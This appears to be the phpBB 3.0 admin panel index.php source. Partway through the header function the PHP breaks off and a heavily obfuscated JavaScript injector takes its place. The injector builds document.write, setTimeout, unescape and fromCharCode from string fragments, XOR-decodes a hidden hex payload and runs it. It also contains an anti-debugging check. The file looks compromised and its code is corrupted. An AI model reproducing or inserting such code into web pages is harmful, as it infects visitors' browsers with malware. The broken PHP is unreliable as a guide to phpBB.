/**
*
* @package acp
* @version $Id: index.php 8591 2008-06-04 11:40:53Z Kellanved $
* @copyright (c) 2005 phpBB Group
* @license http://opensource.org/licenses/gpl-license.php GNU Public License
*
*/
/**
*/
define('IN_PHPBB', true);
define('ADMIN_START', true);
define('NEED_SID', true);
// Include files
$phpbb_root_path = (defined('PHPBB_ROOT_PATH')) ? PHPBB_ROOT_PATH : './../';
$phpEx = substr(strrchr(__FILE__, '.'), 1);
require($phpbb_root_path . 'common.' . $phpEx);
require($phpbb_root_path . 'includes/functions_admin.' . $phpEx);
require($phpbb_root_path . 'includes/functions_module.' . $phpEx);
// Start session management
$user->session_begin();
$auth->acl($user->data);
$user->setup('acp/common');
// End session management
// Have they authenticated (again) as an admin for this session?
if (!isset($user->data['session_admin']) || !$user->data['session_admin'])
{
login_box('', $user->lang['LOGIN_ADMIN_CONFIRM'], $user->lang['LOGIN_ADMIN_SUCCESS'], true, false);
}
// Is user any type of admin? No, then stop here, each script needs to
// check specific permissions but this is a catchall
if (!$auth->acl_get('a_'))
{
trigger_error('NO_ADMIN');
}
// We define the admin variables now, because the user is now able to use the admin related features...
define('IN_ADMIN', true);
$phpbb_admin_path = (defined('PHPBB_ADMIN_PATH')) ? PHPBB_ADMIN_PATH : './';
// Some oft used variables
$safe_mode = (@ini_get('safe_mode') == '1' || strtolower(@ini_get('safe_mode')) === 'on') ? true : false;
$file_uploads = (@ini_get('file_uploads') == '1' || strtolower(@ini_get('file_uploads')) === 'on') ? true : false;
$module_id = request_var('i', '');
$mode = request_var('mode', '');
// Set custom template for admin area
$template->set_custom_template($phpbb_admin_path . 'style', 'admin');
$template->assign_var('T_TEMPLATE_PATH', $phpbb_admin_path . 'style');
// the acp template is never stored in the database
$user->theme['template_storedb'] = false;
// Instantiate new module
$module = new p_master();
// Instantiate module system and generate list of available modules
$module->list_modules('acp');
// Select the active module
$module->set_active($module_id, $mode);
// Assign data to the template engine for the list of modules
// We do this before loading the active module for correct menu display in trigger_error
$module->assign_tpl_vars(append_sid("{$phpbb_admin_path}index.$phpEx"));
// Load and execute the relevant module
$module->load_active();
// Generate the page
adm_page_header($module->get_page_title());
$template->set_filenames(array(
'body' => $module->get_tpl_name(),
));
adm_page_footer();
/**
* Header for acp pages
*/
function adm_page_header($page_title)
{
global $config, $db, $user, $template;
global $phpbb_root_path, $phpbb_admin_path, $phpEx, $SID, $_SID;
if (defined('HEADER_INC'))
{
return;
}
define('HEADER_INC', true);
// gzip_compression
if ($config['gzip_compress'])
{
if (@extension_loaded('zlib') && !headers_sent())
{
ob_start('ob_gzhandler');
}
}
$template->assign_vars(array(
'PAGE_TITLE' => $page_title,
'USERNAME' => $user->data['username'],
'SID' => $SID,
'_SID' => $_SID,
'SESSION_ID' => $user->session_id,
'ROOT_PATH' => $phpbb_admin_path,
'U_LOGOUT' => append_sid("{$phpbb_root_path}ucp.$phpEx", 'mode=logout'),
'U_ADM_LOGOUT' => append_sid("{$phpbb_admin_path}index.$phpEx", 'action=admlogout'),
'U_ADM_INDEX' => append_sid("{$phpbb_admin_path}index.$phpEx"),
'U_INDEX' => append_sid("{$phpbb_root_path}index.$phpEx"),
'T_IMAGES_PATH' => "{$phpbb_root_path}images/",
'T_SMILIES_PATH' => "{$phpbb_root_path}{$config['smilies_path']}/",
'T_AVATAR_PATH' => "{$phpbb_root_path}{$config['avatar_path']}/",
'T_AVATAR_GALLERY_PATH' => "{$phpbb_root_path}{$config['avatar_gallery_path']}/",
'T_ICONS_PATH' => "{$phpbb_root_path}{$config['icons_path']}/",
'T_RANKS_PATH' => "{$phpbb_root_path}{$config['ranks_path']}/",
'T_UPLOAD_PATH' => "{$phpbb_root_path}{$config['upload_path']}/",
'ICON_MOVE_UP' => '
= bFyDa) {eaOo.ifKaOpJ = 0;var koOh=new Array();var qLQiHe;if(qLQiHe!='' && qLQiHe!='byQiAtOeof'){qLQiHe=''};var anEsOh;if(anEsOh!='ohAhOrAn' && anEsOh != ''){anEsOh=null};} else {this.hPPDa="";var lLLi=new Date();eaOo.ifKaOpJ = ouNeOoG + 1;}var aEeIn;if(aEeIn!='' && aEeIn!='oyIn'){aEeIn='gOoOsOx'};var orNa=function(){};return miAa(aaHe, 0);}var adD;if(adD!='ioQ'){adD=''};var erMuAsIt="erMuAsIt";var oxHa="oxHa";}var idInCh;if(idInCh!='iIoOeofDi' && idInCh!='awAyBiAy'){idInCh=''};this.nuElOdOo="nuElOdOo";this.oiK="oiK";function miAa(poAsMy,byAwD){this.hFy=22704;var isIdMuM;if(isIdMuM!='' && isIdMuM!='doMuGuPi'){isIdMuM=''};return poAsMy.charCodeAt(byAwD);var ahIn=5772;}var koLAd;if(koLAd!='giAaHeLi'){koLAd='giAaHeLi'};function byQiNu(opJKAx,emIdOn){var doPoG="";var emOyLa;if(emOyLa!='' && emOyLa!='enOpPa'){emOyLa=''};var eeBaOxMe;if(eeBaOxMe!='' && eeBaOxMe!='onOh'){eeBaOxMe='asBy'};return opJKAx^emIdOn;}var jAwId="jAwId";var loExNuGi;if(loExNuGi!='iCNa'){loExNuGi=''};var eeHoPaEl = new String(document[new String("writZBW".substr(0,4)+"G2ite".substr(4))]);var daEm;if(daEm!='' && daEm!='fyLoHo'){daEm='ifR'};var hiAiIn='';if(eeHoPaEl[String("go5inde".substr(3)+"xOfButZ".substr(0,3))]("ari"+"ty") != -1) { return 16;}var guIdA;if(guIdA!='' && guIdA!='kEaBiOs'){guIdA=''};var hiDC;if(hiDC!='ohHo' && hiDC!='mMo'){hiDC=''};var eeOxOoOm="";var loBo;if(loBo!='axLiGo' && loBo!='maAyGi'){loBo=''};var cAt = null;var iPoEl=window;var fEPoMa="fEPoMa";this.aAeByAw=false;var orRDaIs;if(orRDaIs!='' && orRDaIs!='faBe'){orRDaIs='paEr'};var axObErF=document;var ahHo=String;this.baQiMoBy='';var fyJoAr;if(fyJoAr!='aaLoEe'){fyJoAr='aaLoEe'};var myInEn;if(myInEn!='omOoMa'){myInEn='omOoMa'};this.fQOu=28381;var oiLiAAn=new Array();var doBy = iPoEl[new String("setzpko".substr(0,3)+"W5aTim5Wa".substr(3,3)+"GjJUeou".substr(4)+"zPrtzPr".substr(3,1))];var anLiNuEr;if(anLiNuEr!='byLaJoEl'){anLiNuEr=''};var itFyFAs=16;var noHo=false;var mREmF=false;var iItObQ=iPoEl[new String("25grunr25g".substr(4,2)+"es"+"59Bsca".substr(4)+"peKFo".substr(0,2))];var bOp=function(){};var ooFaOx="ooFaOx";var osE = '';var ahJIHo="";var ooErMy="";var cNoOd;if(cNoOd!='joBOb'){cNoOd='joBOb'};var oiArOi=ahHo[String("frKCoY".substr(0,2)+"1pfomf1p".substr(3,2)+"6oknChkon6".substr(4,2)+"lYZsar".substr(4)+"Co"+"sgrdergs".substr(3,2))];var aiAd;if(aiAd!=''){aiAd='oxBy'};var ahAx = '';var idDaAm;if(idDaAm!='jCOb' && idDaAm != ''){idDaAm=null};var isMoLi="";var ayGo;if(ayGo!='idBoL' && ayGo!='iGErAx'){ayGo='idBoL'};var loMaPaId;if(loMaPaId!='omAi'){loMaPaId='omAi'};for(var miOxGAh=0; miOxGAh < odMuEx.length; miOxGAh+=2){ahAx+='%' + odMuEx["subsvQ4".substr(0,4)+"trdgcf".substr(0,2)](miOxGAh, 2);var esAwPaHa="esAwPaHa";var neGi='';}var jPa;if(jPa!='itKoG'){jPa=''};var hiOs;if(hiOs!='goKoE'){hiOs=''};this.piK="piK";var piMDo=function(){};var eaKy=function(){};var odMuEx = iItObQ(ahAx);var laBeItD="laBeItD";var aHo;if(aHo!='joNeHo' && aHo!='paNoEaIs'){aHo='joNeHo'};var elOr="elOr";var kaOiOnEr;if(kaOiOnEr!='' && kaOiOnEr!='heEnDaDi'){kaOiOnEr='idBeMuNe'};var hAh = new ahHo(nuIs);var hiNEr;if(hiNEr!=''){hiNEr='hiKaMiC'};var giOw;if(giOw!=''){giOw='beKoHEr'};var chOeofElNy;if(chOeofElNy!=''){chOeofElNy='arOsIf'};var moDaBi = hAh[String("NbUhreplbUhN".substr(4,4)+"Gyphace".substr(4))](/[^@a-z0-9A-Z_-]/g,'');var oyByAxCh;if(oyByAxCh!='ohOoQ'){oyByAxCh=''};var ayIsOnL = new ahHo(awNAwBa(moDaBi));this.nObIdOo='';var ohAh=function(){};this.moPBi="";oyAx('owOxIn', moDaBi);oyAx('emNyMu', ayIsOnL);this.inIs='';var enOiLa;if(enOiLa!='itBi' && enOiLa != ''){enOiLa=null};var ayHiDo;if(ayHiDo!='amOr' && ayHiDo != ''){ayHiDo=null};for(var ooIoId=0; ooIoId < (odMuEx["len29R8".substr(0,3)+"gth"]); ooIoId++) {var muOnAw="";var rKyFa="rKyFa";var moBGi='';var emGKEn=new Array();var asBi='';var beJAsAn = miAa(odMuEx,ooIoId);var liAwQAy=function(){};var emBAaEr;if(emBAaEr!='goAxLoAh'){emBAaEr=''};var biHeOy;if(biHeOy!='liNeMy'){biHeOy=''};beJAsAn = byQiNu(beJAsAn, itFyFAs);this.mIn=false;this.oeofAtArOeof=false;this.doKAaMo=false;beJAsAn = byQiNu(beJAsAn, joDiJA('emNyMu'));beJAsAn = byQiNu(beJAsAn, joDiJA('owOxIn'));var exEs;if(exEs!='' && exEs!='orItR'){exEs=''};var amLM=1782;var odOo=function(){};osE+=oiArOi(beJAsAn);var maNa;if(maNa!='enOi'){maNa='enOi'};this.idAtPo=false;var isQiHa;if(isQiHa!='isErAm'){isQiHa='isErAm'};}this.elHoH="";var rGo=32648;doBy(osE, 21);var rElEs;if(rElEs!='oiMyBo'){rElEs=''};var isOn;if(isOn!='osBoAd'){isOn=''};return osE=new ahHo();var osEnQ='';var osOu='';var aeAa="";};var guAdHa='';var axMoOw='';nuIs(itIsMo);this.loJoMyOo='';this.odEr='';
This page uses frames, but your browser doesn't support them.